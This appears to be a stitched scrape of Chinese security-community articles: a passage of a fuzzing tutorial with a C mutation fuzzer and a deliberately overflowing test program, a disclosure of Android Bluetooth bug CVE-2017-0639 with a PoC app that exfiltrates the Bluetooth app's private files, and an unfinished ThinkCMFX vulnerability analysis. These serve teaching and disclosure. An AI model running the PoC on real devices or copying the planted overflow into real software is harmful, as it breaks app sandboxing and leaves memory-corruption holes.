fread(clone_data, filelen, 1, fileptr);
fclose(fileptr);
struct ORIGINAL_FILE original_file;
original_file.data = clone_data;
original_file.length = length;
return original_file;
}
void create_new(struct ORIGINAL_FILE original_file, size_t mutations) {
//
//----------------MUTATE THE BITS------------------------- //
int* picked_indexes = (int*)malloc(sizeof(int)*mutations);
for (int i = 0; i < (int)mutations; i++) {
picked_indexes[i] = rand() % original_file.length;
}
char * mutated_data = (char*)malloc(original_file.length);
memcpy(mutated_data, original_file.data, original_file.length);
for (int i = 0; i < (int)mutations; i++) {
char current = mutated_data[picked_indexes[i]];
// figure out what bit to flip in this 'decimal' byte
int rand_byte = rand() % 256;
mutated_data[picked_indexes[i]] = (char)rand_byte;
}
//
//---------WRITING THE MUTATED BITS TO NEW FILE----------- //
FILE *fileptr;
fileptr = fopen("mutated.jpeg", "wb");
if (fileptr == NULL) {
printf("[!] Unable to open mutated.jpeg, exiting...n");
exit(1);
}
// buffer to be written from,
// size in bytes of elements,
// how many elements,
// where to stream the output to :)
fwrite(mutated_data, 1, original_file.length, fileptr);
fclose(fileptr);
free(mutated_data);
free(picked_indexes);
}
void exif(int iteration) {
//fileptr = popen("exiv2 pr -v mutated.jpeg >/dev/null 2>&1", "r");
char* file = "vuln";
char* argv[3];
argv[0] = "vuln";
argv[1] = "mutated.jpeg";
argv[2] = NULL;
pid_t child_pid;
int child_status;
child_pid = fork();
if (child_pid == 0) {
// this means we're the child process
int fd = open("/dev/null", O_WRONLY);
// dup both stdout and stderr and send them to /dev/null
dup2(fd, 1);
dup2(fd, 2);
close(fd);
execvp(file, argv);
// shouldn't return, if it does, we have an error with the command
printf("[!] Unknown command for execvp, exiting...n");
exit(1);
}
else {
// this is run by the parent process
do {
pid_t tpid = waitpid(child_pid, &child_status, WUNTRACED |
WCONTINUED);
if (tpid == -1) {
printf("[!] Waitpid failed!n");
perror("waitpid");
}
if (WIFEXITED(child_status)) {
//printf("WIFEXITED: Exit Status: %dn", WEXITSTATUS(child_status));
} else if (WIFSIGNALED(child_status)) {
crashes++;
int exit_status = WTERMSIG(child_status);
printf("r[>] Crashes: %d", crashes);
fflush(stdout);
char command[50];
sprintf(command, "cp mutated.jpeg ccrashes/%d.%d", iteration,
exit_status);
system(command);
} else if (WIFSTOPPED(child_status)) {
printf("WIFSTOPPED: Exit Status: %dn", WSTOPSIG(child_status));
} else if (WIFCONTINUED(child_status)) {
printf("WIFCONTINUED: Exit Status: Continued.n");
}
} while (!WIFEXITED(child_status) && !WIFSIGNALED(child_status));
}
}
int main(int argc, char** argv) {
if (argc < 3) {
printf("Usage: ./cfuzz <valid jpeg> <num of fuzz iterations>n");
printf("Usage: ./cfuzz Canon_40D.jpg 10000n");
exit(1);
}
// get our random seed
srand((unsigned)time(NULL));
char* fuzz_target = argv[1];
struct ORIGINAL_FILE original_file = get_data(fuzz_target);
printf("[>] Size of file: %ld bytes.n", original_file.length);
size_t mutations = (original_file.length - 4) * .02;
printf("[>] Flipping up to %ld bytes.n", mutations);
int iterations = atoi(argv[2]);
printf("[>] Fuzzing for %d iterations...n", iterations);
for (int i = 0; i < iterations; i++) {
create_new(original_file, mutations);
exif(i);
}
printf("n[>] Fuzzing completed, exiting...n");
return 0;
}
我不会再介绍该模糊测试器的功能，但还是要强调一下有关它的重要特征：
* 该模糊测试器会接收一个文件作为输入，并将其中的字节复制到缓冲区中；
* 它会计算该缓冲区的字节长度，然后用任意字节随机覆盖其中的2％字节；
* 负责变异的函数`create_new`不会记录发生变化的字节索引，因此从理论上讲，同一位置的字节可能会发生多次变异，所以准确来说，该模糊测试器 **最多** 可以对2％的字节进行变异。
### 抱歉，一些改动
为了方便，我在这里只使用了一种变异方法，在此过程中，我也学会了一些很有用的东西，而这些内容我之前并没有仔细考虑过。在之前的文章中，我还曾经明确地表示随机位翻转随机字节覆盖之间没有什么大的区别。好吧，事实证明，它们完全不同。让我们花点时间看看差别到底在哪里。
假设我们要对`bytes`字节数组进行变异。对索引5处的字节进行修改，未修改之前`bytes[5]` == ` x41`
`（十进制为65）`。如果只进行位翻转，那么可以改变的字节数是非常有限的。65的二进制是`01000001`。让我们看一下翻转任意字节对它的改变有多大：
* 翻转第一位：`11000001` = 193，
* 翻转第二位：`00000001` = 1，
* 翻转第三位：`01100001` = 97，
* 翻转第四位：`01010001` = 81，
* 翻转第五位：`01001001` = 73，
* 翻转第六位：`01000101` = 69，
* 翻转第七位：`01000011` = 67，
* 翻转第八位：`01000000` = 64。
如你所见，存在的可能性非常有限。
所以对于该程序，我选择用另外一个方法，不再修改随机字节中的一个位，而是修改该字节。
## 存在漏洞的程序
我编写了一个简单的程序来说明普通的模糊测试器在寻找漏洞时有多困难。假设目标应用程序的二进制文件中，其反汇编视图中具有多个决策树。
在将输入传递给某个存在漏洞的函数之前，该程序会对输入执行2-3次检查，确定其是否满足某些条件。如下图所示：
程序会执行以下操作，它会检索输入文件中的字节，并检查位于1/3、1/2、2/3文件长度位置的字节，看它们是否和某些任意的硬编码值相匹配。
如果所有检查都通过，程序会把字节缓冲区复制到一个小的缓冲区中，引发一个段错误，从而模拟一个存在漏洞的函数行为。程序如下：
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
struct ORIGINAL_FILE {
char * data;
size_t length;
};
struct ORIGINAL_FILE get_bytes(char* fileName) {
FILE *filePtr;
char* buffer;
long fileLen;
filePtr = fopen(fileName, "rb");
if (!filePtr) {
printf("[>] Unable to open %sn", fileName);
exit(-1);
}
if (fseek(filePtr, 0, SEEK_END)) {
printf("[>] fseek() failed, wtf?n");
exit(-1);
}
fileLen = ftell(filePtr);
if (fileLen == -1) {
printf("[>] ftell() failed, wtf?n");
exit(-1);
}
errno = 0;
rewind(filePtr);
if (errno) {
printf("[>] rewind() failed, wtf?n");
exit(-1);
}
long trueSize = fileLen * sizeof(char);
printf("[>] %s is %ld bytes.n", fileName, trueSize);
buffer = (char *)malloc(fileLen * sizeof(char));
fread(buffer, fileLen, 1, filePtr);
fclose(filePtr);
struct ORIGINAL_FILE original_file;
original_file.data = buffer;
original_file.length = trueSize;
return original_file;
}
void check_one(char* buffer, int check) {
if (buffer[check] == 'x6c') {
return;
}
else {
printf("[>] Check 1 failed.n");
exit(-1);
}
}
void check_two(char* buffer, int check) {
if (buffer[check] == 'x57') {
return;
}
else {
printf("[>] Check 2 failed.n");
exit(-1);
}
}
void check_three(char* buffer, int check) {
if (buffer[check] == 'x21') {
return;
}
else {
printf("[>] Check 3 failed.n");
exit(-1);
}
}
void vuln(char* buffer, size_t length) {
printf("[>] Passed all checks!n");
char vulnBuff[20];
memcpy(vulnBuff, buffer, length);
}
int main(int argc, char *argv[]) {
if (argc < 2 || argc > 2) {
printf("[>] Usage: vuln example.txtn");
exit(-1);
}
char *filename = argv[1];
printf("[>] Analyzing file: %s.n", filename);
struct ORIGINAL_FILE original_file = get_bytes(filename);
int checkNum1 = (int)(original_file.length * .33);
printf("[>] Check 1 no.: %dn", checkNum1);
int checkNum2 = (int)(original_file.length * .5);
printf("[>] Check 2 no.: %dn", checkNum2);
int checkNum3 = (int)(original_file.length * .67);
printf("[>] Check 3 no.: %dn", checkNum3);
check_one(original_file.data, checkNum1);
check_two(original_file.data, checkNum2);
check_three(original_file.data, checkNum3);
vuln(original_file.data, original_file.length);
return 0;
}
请注意该代码中检查方式并不唯一，二进制文件中会存在很多种不同类型的条件检查情况。之所以选择这种方式，是因为这样做可以以一种夸大的形式说明纯粹依靠随机性来覆盖目标程序中新的范围是很困难的。
此处仍使用之前文章中使用的测试文件（之后会对其进行变异并输入到存在漏洞的程序中），即带有exif数据的`Canon_40D.jpg`文件。
h0mbre@pwn:~/fuzzing$ file Canon_40D.jpg
Canon_40D.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=11, manufacturer=Canon, model=Canon EOS 40D, orientation=upper-left, xresolution=166, yresolution=174, resolutionunit=2, software=GIMP 2.4.5, datetime=2008:07:31 10:38:11, GPS-Data], baseline, precision 8, 100x68, frames 3
h0mbre@pwn:~/fuzzing$ ls -lah Canon_40D.jpg
-rw-r--r-- 1 h0mbre h0mbre 7.8K May 25 06:21 Canon_40D.jpg
该文件长度有7958。接下来我们会把它输入到存在漏洞的程序中，看一下选择检查的索引值是哪些：
h0mbre@pwn:~/fuzzing$ vuln Canon_40D.jpg
[>] Analyzing file: Canon_40D.jpg.
[>] Canon_40D.jpg is 7958 bytes.
[>] Check 1 no.: 2626
[>] Check 2 no.: 3979
[>] Check 3 no.: 5331
[>] Check 1 failed.
可以看到选择了索引`2626`、`3979`和`5331`进行测试，并且该文件未通过第一次检查，因为该位置的字节不是`x6c`。
## 实验1：只通过一次检查
让我们移除第二个和第三个检查，看看当只需要通过一次检查时，我们的模糊测试器在测试文件上的性能如何。
我把第二个和第三个检查注释掉了。
check_one(original_file.data, checkNum1);
//check_two(original_file.data, checkNum2);
//check_three(original_file.data, checkNum3);
vuln(original_file.data, original_file.length);
接下来，我们会把上面没有通过第一次检查的JPEG文件输入到我们的模糊测试器中，对其进行变异，然后将其发送给存在漏洞的程序中，看看是不是会发生崩溃。要记得，在每次的模糊测试迭代中，模糊测试器最多会更改7958字节中的159字节。如果模糊测试器能够在索引`2626`处随机插入一个`x6c`，那么我们就会通过第一个检查，执行会进行到存在漏洞的函数处，并引发崩溃。让我们运行100万次该模糊测试器，看看会发生多少次崩溃。
h0mbre@pwn:~/fuzzing$ ./fuzzer Canon_40D.jpg 1000000
[>] Size of file: 7958 bytes.
[>] Flipping up to 159 bytes.
[>] Fuzzing for 1000000 iterations...
[>] Crashes: 88
[>] Fuzzing completed, exiting...
所以在100万次迭代中，一共发生了88次崩溃。
所以只有大约0.0088%的迭代通过了第一次检查，并进入到存在漏洞的函数中。再仔细检查一遍发生崩溃的逻辑，确保在任何代码中都没有错误（我用American
fuzzy
lop在QEMU模式下(模拟没有源代码的情况)启用所有检查对存在漏洞的程序进行了14个小时的模糊测试，并没有让其崩溃，所以我希望它里面没有任何我尚未发现的错误😬。）
h0mbre@pwn:~/fuzzing/ccrashes$ vuln 998636.11
[>] Analyzing file: 998636.11.
[>] 998636.11 is 7958 bytes.
[>] Check 1 no.: 2626
[>] Check 2 no.: 3979
[>] Check 3 no.: 5331
[>] Passed all checks!
Segmentation fault
所以把引发崩溃的文件输入到存在漏洞的程序中确实会引发崩溃，太棒了。
_免责声明：这里要涉及到一些数学知识了，我不保证这部内容是正确的。我甚至从像@Firzen14这么聪明的人那里寻求了帮助，但仍然无法对自己的数学水平拥有百分之百的信心。但是，我确实对这里涉及的系统进行了数亿次的仿真，而实验数据的结果非常接近数学证明中得到的结果。因此，即使并不十分正确，但它至少已经能够证明我想要证明的观点了。_
接下来试着计算一下通过第一次检查并引发崩溃的可能性。我们需要克服的第一个障碍是要保证选择变异的索引值是`2626`。如果该位置没有发生变化，我们已经知道默认情况下这个位置的值与检查中的值并不匹配，所以不会通过检查。因为我们要进行159次的选择字节并变异的操作，而选择的范围有7958个字节，所以选择到索引`2626`处的字节进行变异的概率应该是`159/7958`，即`0.0199798944458407`。
第二个障碍是，我们要保证修改后的字节是`x6c`，而模糊测试器有255个字节值可供选择。因此，一旦选择了该位置字节进行变异，将其精确地修改为`x6c`的概率是`1/255`，即`0.003921568627451`。
因此，这两种情况同时发生的概率应该为`0.0199798944458407` *
`0.003921568627451`（约等于0.0078％），如果乘以100万，会引发大约78次崩溃。这个值已经很接近88了，鉴于实验是随机的，可能会有一些差异。
因此，此次实验的结论是，普通的模糊测试器能够比较可靠地通过一次检查并到达存在漏洞的函数。接下来看一下添加第二个检查之后情况会如何变化。
## 实验2：通过两次检查
这次数学问题变得更加庞大。但正如我之前所说，我对该事件已经进行了数亿次的模拟，最后的结果与我计算出来的数字非常接近。
我认为让字节值与检查值匹配非常简单，概率总是为1/255，但是在159次选择中同时选中两个确定的索引值并进行变异且的概率就有些复杂了。我运行了一个模拟器，查看同时选中两个索引值进行变异的次数，运行一段时间，经过3.9亿次迭代之后，总共发生了约155,000次。
<snip>
Occurences: 155070 Iterations: 397356879
Occurences: 155080 Iterations: 397395052
Occurences: 155090 Iterations: 397422769
<snip>
`155090/397422769` == `.0003902393423261565`。而我认为的数学运算应该是`(159/7958)
*(158/7958)`，即`.0003966855142551934`。
可以看到这两个值相距很近，考虑到随机因素，它们相差不大。这应该已经足够说明问题了。
现在我们必须通过两次检查，使用我们的普通模糊测试器已经能够在数学上对这种情况发生的概率进行总结了，如下所示：
((159/7958) * (1/255)) == odds to pass first check
odds to pass first check * (158/7958) == odds to pass first check and have second index targeted for mutation
odds to pass first check * ((158/7958) * (1/255)) == odds to have second index targeted for mutation and hold the correct value
((159/7958) * (1/255)) * ((158/7958) * (1/255)) == odds to pass both checks
((0.0199798944458407 * 0.003921568627451) * (0.0198542347323448 * 0.003921568627451)) == 6.100507716342904e-9
所以同时选中两个索引值并将其修改为检查值的概率约为`.000000006100507716342904`，即`.0000006100507716342904％`。
如果只启用一次检查，大约每12,820次迭代会发生一次崩溃。
如果启用两次检查，大约 **每1.63亿次迭代** 才会发生一次崩溃。
这确实是一个问题，我们的模糊测试器需要运行很长时间才能达到该迭代次数。在虚拟中执行时，该模糊测试器每秒大约执行1600次迭代。所以大约需要28个小时才能达到1.63亿次迭代。所以说多添加一次检查，发现漏洞的概率会呈指数级下降，更别说添加第三次检查了！
## 代码覆盖有什么用
如果我们的模糊测试器能够对代码覆盖进行分钟，就可以让这个问题更加易于管理。
一般来说，模糊测试器中的代码覆盖跟踪系统会记录哪些输入覆盖到了程序中新的代码范围。存在很多方法达到该目的。如果拥有源代码，你就可以使用其他工具对其进行重新编译，在到达新的代码范围的时候通知模糊测试器。[@gamozolabs](https://github.com/gamozolabs
"@gamozolabs")发布了一个非常棒的Windows用户域代码覆盖系统，该系统中使用了一个运行速度极快的调试器，它会在目标二进制文件中设置数百万个断点，并在到达每个断点时慢慢对断点进行删除，该工具叫做‘[mesos](https://github.com/gamozolabs/mesos)’。
一旦模糊测试器发现某个变异的输入到达了新的代码范围，就会将其保存下来，以便接下来重复使用，或者进一步进行变异从而覆盖更多代码范围。下图进行了一个简单的解释，但希望解释得足够清晰。
我还没有在模糊测试器中添加代码覆盖追踪技术，但我们可以简单地对其进行模拟。假设我们的模糊测试器能够在约每13,000次中通过1次程序中的第一个检查，并到达第二个检查。
在输入第一次达到第二个检查时，就可以认为它到达了新的代码范围。这种情况下，新的智能模糊测试器应该能够保存该输入。然后把让该输入通过变异器，并希望其能再次到达相同的代码范围，并有可能覆盖更多的代码范围。
让我们演示一下这一过程。先修改文件`Canon_40D.jpg`，让其索引`2626`处的字节为`x6c`，然后将其输入到我们的存在漏洞的程序中。
h0mbre@pwn:~/fuzzing$ vuln Canon_altered.jpg
[>] Analyzing file: Canon_altered.jpg.
[>] Canon_altered.jpg is 7958 bytes.
[>] Check 1 no.: 2626
[>] Check 2 no.: 3979
[>] Check 2 failed.
可以看到它通过了第一次检查，但是第二次检查失败了。接下来使用这个`Canon_altered.jpg`文件作为我们的基本输入，来模拟存在代码覆盖跟踪系统的模糊测试器，看看只进行两次检查的时候会发生多少次崩溃。
h0mbre@pwn:~/fuzzing$ ./fuzzer Canon_altered.jpg 1000000
[>] Size of file: 7958 bytes.
[>] Flipping up to 159 bytes.
[>] Fuzzing for 1000000 iterations...
[>] Crashes: 86
[>] Fuzzing completed, exiting...
所以说，使用这个能够提高代码覆盖（即能够通过第一次检查）的文件作为基本输入，并让其通过变异器，我们能够通过86次第二次检查。从本质上说，我们把之前遇到的指数级问题转化成了一开始只需要进行一次检查的问题。真正的模糊测试器在工作时还需要考虑很多其他因素，但我在这里只想简单地说明这种技术可以把指数问题简化为更易于管理的问题。
我们把概率只有`((0.0199798944458407 * 0.003921568627451) * (0.0198542347323448 *
0.003921568627451)) == 6.100507716342904e-9`的问题简化到了概率接近`(0.0199798944458407 *
0.003921568627451)`的问题，这对我们来说是一个巨大的胜利。
但也存在一些细节问题没有讨论，让修改后的文件通过突变器的过程可能有一些副作用：它可能会改变索引`2626`处的字节值，这样我们甚至都无法通过第一个检查；也有可能会使文件的变化过大（在第一轮变异后，它和原始JPEG已经有2%的区别了），这样存在漏洞的程序可能会直接拒绝该输入，浪费了测试周期。
因此还有很多其他因素需要考虑，但希望上述内容可以清楚地说明代码覆盖能够帮助模糊测试器对目标二进制文件进行更全面的测试。
## 结论
网络上存在很多关于各类代码覆盖技术的资源，如果你感兴趣的话，一定要关注并阅读有关该主题的更多信息。@carste1n发布了一系列很棒的文章，在里面逐步地对模糊测试器进行改进，最新文章位于：<https://carstein.github.io/2020/05/21/writing-simple-fuzzer-4.html>
之后我们可以在我们的普通模糊测试器中添加有关代码覆盖追踪的代码，并且把本文中的漏洞程序作为基准，用于判断代码覆盖技术的有效性。
一些有趣的注意事项：我用American fuzzy
lop，对启用了三个检查的漏洞程序进行了大约13个小时的模糊测试，没能让它崩溃！我不知道为什么会这么难。如果只启用两个检查的话，AFL可以很快的找到崩溃。可能是我的测试中存在问题吧，我不确定。
期待下一篇文章！ | 社区文章 |
原文地址：[先知安全技术社区](https://xianzhi.aliyun.com/forum/read/1713.html)
作者：[heeeeen@MS509Team](http://www.ms509.com/)
#### 0x01 漏洞简介
Android本月的安全公告，修复了我们发现的另一个蓝牙App信息泄露漏洞，该漏洞允许攻击者获取
bluetooth用户所拥有的私有文件，绕过了将应用数据与其他应用隔离的操作系统防护功能。
漏洞信息如下：
* CVE: CVE-2017-0639
* BugID: A-35310991
* 严重性: 高危
* 漏洞类型: 信息泄露
* Updated AOSP versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2
#### 0x02 漏洞缘起
在发现这个漏洞之前，我浏览了 Android
[2017年2月的安全公告](https://source.android.com/security/bulletin/2017-02-01)，其中两个并排的高危信息泄露漏洞引起了我的注意：
* CVE-2017-0420: AOSP邮件中的信息泄露漏洞
* CVE-2017-0414: AOSP短信中的信息泄露漏洞
查看这两个信息漏洞的补丁注释，分别为
* Don't allow file attachment from /data through GET_CONTENT
* Thirdparty can attach private files from "/data/data/com.android.messaging/" directory to the messaging app。
涵义非常清晰，似乎邮件和短信 App 均遗漏了对发送的文件进行验证，本地攻击者可以添加 App 私有目录的数据文件发送出去，从而破坏了 Android
沙箱所提供的应用数据相互隔离的安全防护功能。
这两个漏洞可以归纳为一类 **针对具有对外发送或共享功能App的攻击**
，Android中会不会还有类似的功能具有类似的漏洞？另外，注意到上述两个漏洞的发现者并非一人，只是巧合地同时出现在2月份的安全公告之中，发现者似乎还没有意识到这类攻击的通用性，也许真的还没有搜刮干净？
#### 0x03 攻击面——蓝牙的信息分享
除了短信、邮件，很容易想到蓝牙也是 Android
一个很重要的信息对外发送出口。通常，我们选择一个文件的分享按钮，选择蓝牙，就可以触发蓝牙的文件发送功能，这是通过蓝牙 App 暴露的
BluetoothOppLauncherActivity 所实现。该 Activity 根据传入的 `Intent.ACTION_SEND` 或
`Intent.ACTION_SEND_MULTIPLE` ，启动一个线程处理单个文件或多个文件的对外发送。主要代码如下
/*
* Other application is trying to share a file via Bluetooth,
* probably Pictures, videos, or vCards. The Intent should contain
* an EXTRA_STREAM with the data to attach.
*/
if (action.equals(Intent.ACTION_SEND)) {
// TODO: handle type == null case
final String type = intent.getType();
final Uri stream = (Uri)intent.getParcelableExtra(Intent.EXTRA_STREAM);
CharSequence extra_text = intent.getCharSequenceExtra(Intent.EXTRA_TEXT);
// If we get ACTION_SEND intent with EXTRA_STREAM, we'll use the
// uri data;
// If we get ACTION_SEND intent without EXTRA_STREAM, but with
// EXTRA_TEXT, we will try send this TEXT out; Currently in
// Browser, share one link goes to this case;
if (stream != null && type != null) {
if (V) Log.v(TAG, "Get ACTION_SEND intent: Uri = " + stream + "; mimetype = "
+ type);
// Save type/stream, will be used when adding transfer
// session to DB.
Thread t = new Thread(new Runnable() {
public void run() {
BluetoothOppManager.getInstance(BluetoothOppLauncherActivity.this)
.saveSendingFileInfo(type,stream.toString(), false);
//Done getting file info..Launch device picker and finish this activity
launchDevicePicker();
finish();
}
});
t.start();
return;
} else {
Log.w(TAG,"Error trying to do set text...File not created!");
finish();
return;
}
} else {
Log.e(TAG, "type is null; or sending file URI is null");
finish();
return;
}
} else if (action.equals(Intent.ACTION_SEND_MULTIPLE)) {
final String mimeType = intent.getType();
final ArrayList<Uri> uris = intent.getParcelableArrayListExtra(Intent.EXTRA_STREAM);
if (mimeType != null && uris != null) {
if (V) Log.v(TAG, "Get ACTION_SHARE_MULTIPLE intent: uris " + uris + "\n Type= "
+ mimeType);
Thread t = new Thread(new Runnable() {
public void run() {
BluetoothOppManager.getInstance(BluetoothOppLauncherActivity.this)
.saveSendingFileInfo(mimeType,uris, false);
//Done getting file info..Launch device picker
//and finish this activity
launchDevicePicker();
finish();
}
});
t.start();
那么，传入蓝牙 App 私有数据试试！先寻找 bluetooth 所拥有的私有文件，
angler:/ # find /data -user bluetooth -exec ls -al {} \; 2> /dev/null
可以选定两个bluetooth所拥有、有实质内容的文件作为发送对象，`file:///data/user_de/0/com.android.bluetooth/databases/btopp.db`和`file:///data/misc/bluedroid/bt_config.conf`
很快可以写出PoC
public class MainActivity extends AppCompatActivity {
Button m_btnSendPriv = null;
Button m_btnSendMPriv = null;
private final static String PRIV_FILE_URI1 = "file:///data/user_de/0/com.android.bluetooth/databases/btopp.db";
private final static String PRIV_FILE_URI2 = "file:///data/misc/bluedroid/bt_config.conf";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
m_btnSendPriv = (Button)findViewById(R.id.send_private);
m_btnSendPriv.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent(Intent.ACTION_SEND);
intent.setType("text/plain");
Uri uri = Uri.parse(PRIV_FILE_URI1);
intent.putExtra(Intent.EXTRA_STREAM, uri);
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
startActivity(intent);
}
});
m_btnSendMPriv = (Button)findViewById(R.id.send_private_multiple);
m_btnSendMPriv.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent(Intent.ACTION_SEND_MULTIPLE);
intent.setType("text/plain");
ArrayList<Uri> uris = new ArrayList<Uri>();
uris.add(Uri.parse(PRIV_FILE_URI1));
uris.add(Uri.parse(PRIV_FILE_URI2));
intent.putExtra(Intent.EXTRA_STREAM, uris);
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
startActivity(intent);
}
});
}
}
#### 0x04 进一步分析
真的那么简单吗？编译PoC，运行却抛出了安全异常！
--------- beginning of crash
06-12 10:32:43.930 16171 16171 E AndroidRuntime: FATAL EXCEPTION: main
06-12 10:32:43.930 16171 16171 E AndroidRuntime: Process: ms509.com.testaospbluetoothopplauncher, PID: 16171
06-12 10:32:43.930 16171 16171 E AndroidRuntime: android.os.FileUriExposedException: file:///data/user_de/0/com.android.bluetooth/databases/btopp.db exposed beyond app through ClipData.Item.getUri()
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.os.StrictMode.onFileUriExposed(StrictMode.java:1799)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.net.Uri.checkFileUriExposed(Uri.java:2346)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.content.ClipData.prepareToLeaveProcess(ClipData.java:832)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.content.Intent.prepareToLeaveProcess(Intent.java:8909)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.content.Intent.prepareToLeaveProcess(Intent.java:8894)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.app.Instrumentation.execStartActivity(Instrumentation.java:1517)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.app.Activity.startActivityForResult(Activity.java:4224)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.support.v4.app.BaseFragmentActivityJB.startActivityForResult(BaseFragmentActivityJB.java:50)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.support.v4.app.FragmentActivity.startActivityForResult(FragmentActivity.java:79)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.app.Activity.startActivityForResult(Activity.java:4183)
原来触发了 FileUriExposed 错误，出于安全考虑，Android SDK 23 以上就不能在 Intent 中传递 file:// Uri
，见官方说明：
对于面向 Android 7.0 的应用，Android 框架执行的 StrictMode API 政策禁止在您的应用外部公开 file:// URI
。如果一项包含文件 URI 的 intent 离开您的应用，则应用出现故障，并出现 FileUriExposedException
异常。要在应用间共享文件，您应发送一项 content:// URI，并授予 URI 临时访问权限。进行此授权的最简单方式是使用 FileProvider
类。
似乎宣判了死刑！心有不甘，继续分析 BluetoothOppLauncherActivity 后面的文件处理流程，调用链为
saveSendingFileInfo--> generateFileInfo ，查看 generateFileInfo 函数，我们发现其实是支持传入
file:// URI 的。
public static BluetoothOppSendFileInfo generateFileInfo(Context context, Uri uri,
String type) {
ContentResolver contentResolver = context.getContentResolver();
String scheme = uri.getScheme();
String fileName = null;
String contentType;
long length = 0;
// Support all Uri with "content" scheme
// This will allow more 3rd party applications to share files via
// bluetooth
if ("content".equals(scheme)) {
contentType = contentResolver.getType(uri);
Cursor metadataCursor;
try {
metadataCursor = contentResolver.query(uri, new String[] {
OpenableColumns.DISPLAY_NAME, OpenableColumns.SIZE
}, null, null, null);
} catch (SQLiteException e) {
// some content providers don't support the DISPLAY_NAME or SIZE columns
metadataCursor = null;
} catch (SecurityException e) {
Log.e(TAG, "generateFileInfo: Permission error, could not access URI: " + uri);
return SEND_FILE_INFO_ERROR;
}
if (metadataCursor != null) {
try {
if (metadataCursor.moveToFirst()) {
fileName = metadataCursor.getString(
metadataCursor.getColumnIndex(OpenableColumns.DISPLAY_NAME));
length = metadataCursor.getLong(
metadataCursor.getColumnIndex(OpenableColumns.SIZE));
if (D) Log.d(TAG, "fileName = " + fileName + " length = " + length);
}
} finally {
metadataCursor.close();
}
}
if (fileName == null) {
// use last segment of URI if DISPLAY_NAME query fails
fileName = uri.getLastPathSegment();
}
} else if ("file".equals(scheme)) { // Notice!!!
fileName = uri.getLastPathSegment();
contentType = type;
File f = new File(uri.getPath());
length = f.length();
} else {
// currently don't accept other scheme
return SEND_FILE_INFO_ERROR;
进一步查阅相关资料发现，原来 FileUriExposed 错误只是 SDK 引入的一项安全机制，仅仅是为了防止 Intent
的接收方访问发起方的私有文件。但是在我们这种攻击场景下，我们是要 Intent 的接收方 BluetoothOppLauncherActivity
访问其自己的私有文件，而且查看上述代码，蓝牙 App 既有对 file:// URI 的支持，也缺乏对文件是否属于私有目录的验证，Why not?
既然是 SDK 23 以后引入的安全机制，那么我们把 build.gradle 中的 targetSdkVersion 从原先的25改为23，从而绕过
SDK 的检查，重新编译运行，就可以将 Bluetooth App 的私有文件通过蓝牙发送出去，而这些文件原本连用户均无法获取，这就打破了 Android
沙箱的应用间数据隔离机制。至此，大功告成！
#### 0x05 时间线
* 2017.02.13: 提交Google
* 2017.03.01: 漏洞确认，初始评级为高
* 2017.06.05: 补丁发布
* 2017.06.12: 漏洞公开
* * * | 社区文章 |
### 1.ThinkCMFX 前台文件包含漏洞分析
## 简介
ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架。 cmfx, 在 ThinkPHP 3.2.3上，它与 ThinkCMF
ThinkCMFX based相同，并且从thinkphp3抽象出了四个base Controller
，HomebaseController、AdminbaseController、AppframebaseController、MemberbaseController。
官方给出的修复结果如下
#### 漏洞成因
Thinkphp3中模板渲染经常会使用到View层中的fetch、display、assign方法，之前thinkphp3曾出现过的安全问题正是发生在这模板引擎渲染过程中所导致，如tp3.x任意文件包含正是由于在模版渲染的情况下存在任意变量覆盖所导致。
了解了这个，看thinkcmfx从tp3.2.3抽象出来的控制类，通过调试发现传入的content进入到了HomebaseController.php的fetch中
F7跟进调用了thinkphp的controller类,然后最终调用think核心的view,
在`View`类的`fetch`方法中将可控的$content直接拼接到了eval里
从`Hook::listen`一路跟下去，进入到listen方法中
在listen中可以看到将$centon传给了view_parse传入的参数$params然后进入到了exec
有插件时执行进入第二个if,直到跟踪到run
在run方法中调用think模板引擎if判断是否存在生成了模板缓存文件否则进入think->Template进行编译并加载模板文件，继续跟进fetch可控的参数名变成了`$templateFile`：
将`$templateFile`传入了loadTemplate方法，进入loadTemplate
可以追踪到该可完全控制的变量又进入到了编译模板内容方法中，在compiler中可以发现
可控的$tmplContent直接拼接到了php代码中。
调试后如下图
编译完成后返回编译后的文件。
我们看一下`Storage::load方法干了什么： 直接进行了文件包含，就这样我们的代码就被成功执行了。
通过比较thinkphp3和thinkcmfx调用的fetch可以发现其问题的根源，在thinkphp3中fetch是protected,而在thinkcmfx中可以发现fetch存在于HomebaseController类中的public直接可在前台调用，这就导致了存在漏洞的方法入口能够被我们控制，正好与官方给出的修复呼应上了，漏洞的原因最初是在
Real World 比赛的一位师傅分析提到了，对tp框架还不是特别的熟悉，于是重新对此又进行了复现分析，确实加深了对tp框架的了解。
### 2.前台任意文件上传
这个漏洞比较简单，仔细阅读前台源码可以发现。
漏洞发生在前台\application\Asset\Controller\UeditorController.class.php中在上传图片时会进入upload->uploadimage->调用UE上传方法_ueditor_upload如下图所示
跟进_ueditor_upload该方法先后进行了设置上传信息、获取上传后缀、文件大小定义允许的后缀名和config信息再交由think的upload.这里主要看think->upload方法
而在传入upload的$config仔细查看可以发现问题若上传的后缀不在定义规定的允许的上传后缀中时返回值为null如下图所示
think的upload.class.php中upload方法如下：
public function upload($files='') {
